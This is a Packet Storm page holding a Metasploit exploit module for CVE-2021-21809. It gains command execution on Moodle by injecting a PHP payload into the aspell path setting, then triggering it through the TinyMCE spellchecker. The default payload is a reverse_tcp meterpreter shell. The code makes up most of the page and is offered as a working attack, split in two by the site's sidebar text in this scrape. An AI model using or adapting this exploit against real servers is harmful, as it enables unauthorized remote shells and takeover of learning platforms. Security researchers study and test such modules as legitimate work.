

## Moodle SpellChecker Path Authenticated Remote Command Execution

Authored by [h00die](#), [Adam Reiser](#) | Site [metasploit.com](#)

Posted Oct 12, 2021

Moodle allows an authenticated administrator to define spellcheck settings via the web interface. An administrator can update the aspell path to include a command injection. This is extremely similar to CVE-2013-3630, just using a different variable. This Metasploit module was tested against Moodle versions 3.11.2, 3.10.0, and 3.8.0.

tags | [exploit](#), [web](#)

advisories | [CVE-2021-21809](#)

SHA-256 | [33c8bb6a0f9058457ef9ea11c88cb44a8e6a479225f59eb841f22283ace6b68d](#) [Download](#) | [Favorite](#) | [View](#)

[Related Files](#)

Share This

Like

Twitter

LinkedIn

Reddit

Digg

StumbleUpon

[Change Mirror](#)

[Download](#)

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Moodle

  def initialize(info = {})
    super.update_info(
      info,
      {
        'Name' => 'Moodle SpellChecker Path Authenticated Remote Command Execution',
        'Description' => %q{
          Moodle allows an authenticated administrator to define spellcheck settings via the web interface.
          An administrator can update the aspell path to include a command injection. This is extremely
          similar to CVE-2013-3630, just using a different variable.

          This module was tested against Moodle version 3.11.2, 3.10.0, and 3.8.0.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Adam Reiser', # Discovery
          'h00die' # msf module
        ],
        'References' => [
          ['CVE', '2021-21809'],
          ['URL', 'https://talosintelligence.com/vulnerability_reports/TALOS-2021-1277']
        ],
        'DefaultOptions' => { 'Payload' => 'php/meterpreter/reverse_tcp' },
        'Payload' => {
          'BadChars' => ''
        },
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [['Automatic', {}]],
        'DisclosureDate' => '2021-06-22',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
        }
      }
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']),
        OptString.new('PASSWORD', [ true, 'Password to authenticate with', '' ]),
      ]
    )
  end

  def change_aspellpath(value = '')
    res = send_request_cgi(
      {
        'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
        'vars_get' => {
          {
            'section' => 'systempaths'
          },
        },
        'keep_cookies' => true
      })
    fail_with(Failure::Unreachable, 'Error retrieving settings') unless res
    res.body =~ /sesskey:"([^\"]+)"/
    send_request_cgi(
      {
        'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
        'vars_get' => {
          {
            'section' => 'systempaths'
          },
        },
        'vars_post' => {
          {
            'section' => 'systempaths',
            'action' => 'save-settings',
            'sesskey' => Regexp.last_match(1),
            'return' => '',
            's_pathtophp' => '',
            's_pathtodu' => '',
            's_aspellpath' => value,
            's_pathdotdot' => '',
            's_pathdota' => '/usr/bin/gs',
            's_pathcopython' => ''
          },
        },
        'keep_cookies' => true
      })
  end

  def set_spellchecker(checker = '')
    # '' is None in the gui, and is the default
    res = send_request_cgi(
      {
        'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
        'vars_get' => {
          {
            'section' => 'tinymce_spellchecker_settings'
          },
        },
        'keep_cookies' => true
      })
    fail_with(Failure::Unreachable, 'No response received from the target.') unless res
    res.body =~ /sesskey:"([^\"]+)"/
    res = send_request_cgi(
      {
        'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
        'vars_get' => {
          {
            'section' => 'tinymce_spellchecker_settings'
          },
        },
        'vars_post' => {
          {
            'section' => 'tinymce_spellchecker_settings',
            'action' => 'save-settings',
            'sesskey' => Regexp.last_match(1),
            'return' => ''
          }
        }
      })
  end
end
```

### File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

### Top Authors In Last 30 Days

<b>Red Hat</b> 180 files
<b>Ubuntu</b> 78 files
<b>Debian</b> 24 files
<b>LiquidWorm</b> 23 files
<b>malvuln</b> 12 files
<b>nu11security</b> 10 files
<b>Gentoo</b> 9 files
<b>Google Security Research</b> 8 files
<b>T. Weber</b> 4 files
<b>Julien Ahrens</b> 4 files

### File Tags

ActiveX (932)	December 2022
Advisory (79,733)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,924)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,601)	February 2022
Encryption (2,349)	January 2022
Exploit (50,358)	Older
File Inclusion (4,165)	

### File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

### Systems

Firewall (821)	AIX (426)
Info Disclosure (2,660)	Apple (1,926)
Intrusion Detection (867)	BSD (370)
Java (2,899)	CentOS (55)
JavaScript (820)	Cisco (1,917)
Kernel (6,290)	Debian (6,634)
Local (14,201)	Fedora (1,690)
Magazine (586)	FreeBSD (1,242)
Overflow (12,418)	Gentoo (4,272)
Perl (1,418)	HPUX (878)
PHP (5,093)	iOS (330)
Proof of Concept (2,291)	iPhone (108)
Protocol (3,435)	IRIX (220)
Python (1,467)	Juniper (67)
Remote (30,043)	Linux (44,294)
Root (3,504)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,776)	OpenBSD (479)
Shell (3,103)	RedHat (12,448)
Shellcode (1,204)	Slackware (941)
Sniffer (886)	Solaris (1,607)

```
'a_tinymce_spellchecker_spellengine' => checker,
'a_tinymce_spellchecker_spelllanguage' =>
'+English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr,German=de,Italian=it,Polish=pl,Portuguese=pt,Spanish=es,Sw
# default
),
'keep_cookies' => true
})

fail_with(Failure::Unreachable, 'No response received from the target.') unless res
end

def check
  return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online?

  v = moodle_version
  return CheckCode::Detected('Unable to determine moodle version') if v.nil?
  # according to talso advisory, 2021-04-21 - Vendor updated documentation to suggest best practices after
  installation
  # so maybe this is not going to get patched? Assuming 3.0.0+
  if Rex::Version.new(v) > Rex::Version.new('3.0.0')
    return CheckCode::Appears('Exploitable Moodle version #{v} detected')
  end

  CheckCode::Safe('Non-exploitable Moodle version #{v} detected')
end

def exploit
  print_status('Authenticating as user: #{datastore['USERNAME']}')
  cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])
  fail_with(Failure::NoAccess, 'Unable to login. Check credentials') if cookies.nil? || cookies.empty?
  cookies.each do |cookie|
    cookie_jar.add(cookie)
  end
  print_status('Updating aspell path')
  # Site administration, Server, System paths
  change_aspellpath("php -r \"#{payload.encoded}\" &")

  print_status('Changing spell engine to PSpellShell')
  set_spellchecker('PSpellShell')
  # Administration, Plugins, Text editors, TinyMCE HTML editor, Legacy Spell Checker
  spellcheck = '{"id":"c0","method":"checkWords","params":{"en",""}}'

  print_status('Triggering payload')

  res = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, 'lib', 'editor', 'tinymce', 'plugins', 'spellchecker',
    'rpc.php'),
    'data' => spellcheck,
    'ctype' => 'application/json',
    'keep_cookies' => true
  })

  fail_with(Failure::Unreachable, 'Error triggering payload') if res
end

# prefer cleanup over on_session since we may have changed things, regardless of successful exploit
def cleanup
  print_status('Sleeping 5 seconds before cleanup')
  Rex.sleep(5)
  print_status('Authenticating as user: #{datastore['USERNAME']}')
  cookie_jar.clear # clear cookies to prevent timeouts
  cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])
  if cookies.nil? || cookies.empty?
    print_bad('Failed login during cleanup')
  else
    cookies.each do |cookie|
      cookie_jar.add(cookie)
    end
    print_status('Removing RCE from settings')
    change_aspellpath
    set_spellchecker
  end
  super
end
end
```

Spoof (2,166)	SUSE (1,444)
SQL Injection (16,101)	Ubuntu (8,199)
TCP (2,379)	UNIX (9,158)
Trojan (686)	UnixWare (185)
UDP (676)	Windows (6,511)
Virus (662)	Other
Vulnerability (31,132)	
Web (9,357)	
Whitepaper (3,729)	
x86 (946)	
XSS (17,494)	
Other	

[Login](#) or [Register](#) to add favorites

**packet storm**

© 2022 Packet Storm. All rights reserved.

### Site Links


<a href="#">News by Month</a>
<a href="#">News Tags</a>
<a href="#">Files by Month</a>
<a href="#">File Tags</a>
<a href="#">File Directory</a>


### About Us

<a href="#">History &amp; Purpose</a>
<a href="#">Contact Information</a>
<a href="#">Terms of Service</a>
<a href="#">Privacy Statement</a>
<a href="#">Copyright Information</a>

### Hosting By

<a href="#">Rokasec</a>
-------------------------

 Follow us on Twitter

 Subscribe to an RSS Feed